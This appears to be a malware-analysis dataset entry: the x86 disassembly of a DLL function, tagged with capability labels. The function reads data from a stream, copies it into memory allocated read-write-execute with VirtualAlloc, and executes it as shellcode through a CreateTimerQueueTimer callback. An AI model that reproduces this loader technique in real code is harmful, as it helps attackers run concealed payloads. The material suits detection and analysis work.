Function at 0x10001c60
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1001d8b4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1a8
push ebx
push esi
push edi
sub esp, 0x10
mov dword [esp + 0x20], 0
lea ecx, [esp + 0x108]
call fcn.10003520
mov dword [esp + 0x1bc], 0
mov dword [esp + 0x28], 0xf
mov dword [esp + 0x24], 0
mov byte [esp + 0x14], 0
cmp dword [esp + 0x158], 0
je 0x10001e6b
mov dword [esp + 0x30], 0x10024ab4
mov dword [esp + 0x40], 0x10024aac
mov byte [esp + 0x1bc], 2
lea eax, [esp + 0x48]
push ecx
xorps xmm0, xmm0
mov dword [esp + 0x14], 1
push eax
lea ecx, [esp + 0xa0]
mov dword [esp + 0xa0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov dword [esp + 0x9c], 0x50
movlpd qword [esp + 0x40], xmm0
call fcn.10004dd0
mov eax, dword [esp + 0x40]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x40], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0x40]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [esp + ecx + 0x3c], eax
mov eax, dword [esp + 0x30]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x30], vtable.std::basic_iostream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x20]
mov dword [esp + ecx + 0x2c], eax
mov dword [esp + 0x1bc], 7
mov eax, dword [esp + 0x30]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x30], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [esp + ecx + 0x2c], eax
lea ecx, [esp + 0x48]
call fcn.10005730
mov dword [esp + 0x48], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0
lea eax, [esp + 0x108]
mov byte [esp + 0x1bc], 9
push eax
lea ecx, [esp + 0x44]
call fcn.10003290
lea eax, [esp + 0xe0]
push eax
lea ecx, [esp + 0x34]
call fcn.10003fa0
push eax
lea ecx, [esp + 0x18]
call fcn.10002e40
cmp dword [esp + 0xf4], 0x10
jb 0x10001df0
push dword [esp + 0xe0]
call fcn.10006845
add esp, 4
mov ebx, dword [esp + 0x24]
lea ecx, [esp + 0x108]
shr ebx, 1
call fcn.10005000
test eax, eax
jne 0x10001e3a
mov eax, dword [esp + 0xf8]
lea ecx, [esp + 0xf8]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x10001e28
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x10001e3a
push 0
call fcn.10001990
lea ecx, [esp + 0x98]
mov byte [esp + 0x1bc], 1
call fcn.10003f20
lea eax, [esp + 0x98]
mov dword [esp + 0x98], vtable.std::ios_base.0
push eax
call fcn.10006470
add esp, 4
jmp 0x10001e6f
mov ebx, dword [esp + 0x10]
push ebx
call fcn.1000749e
mov esi, eax
lea ecx, [esp + 0x18]
mov edx, esi
call fcn.10001bb0
add esp, 4
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
nop
push ebx
push esi
push edi
call fcn.10008490
add esp, 0xc
nop
nop
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
push 0
push 0
push 1
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
push 0
push 0x64
push 0
push edi
mov ebx, eax
lea eax, [esp + 0x40]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
test eax, eax
jne 0x10001ee3
push str.Fail
call fcn.10007685
add esp, 4
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10001f04
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WaitForSingleObject_failed___d__n
call fcn.10007685
add esp, 8
cmp dword [esp + 0x28], 0x10
jb 0x10001f17
push dword [esp + 0x14]
call fcn.10006845
add esp, 4
mov dword [esp + 0x1bc], 0xffffffff
mov eax, dword [esp + 0xf8]
mov dword [esp + 0x28], 0xf
mov dword [esp + 0x24], 0
mov byte [esp + 0x14], 0
mov eax, dword [eax + 4]
mov dword [esp + eax + 0xf8], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0xf8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [esp + ecx + 0xf4], eax
lea ecx, [esp + 0x108]
call fcn.10003620
mov eax, dword [esp + 0xf8]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0xf8], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0xf8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [esp + ecx + 0xf4], eax
lea eax, [esp + 0x168]
push eax
mov dword [esp + method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::ios_base.0
call fcn.10006470
mov ecx, dword [esp + 0x1b8]
add esp, 4
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret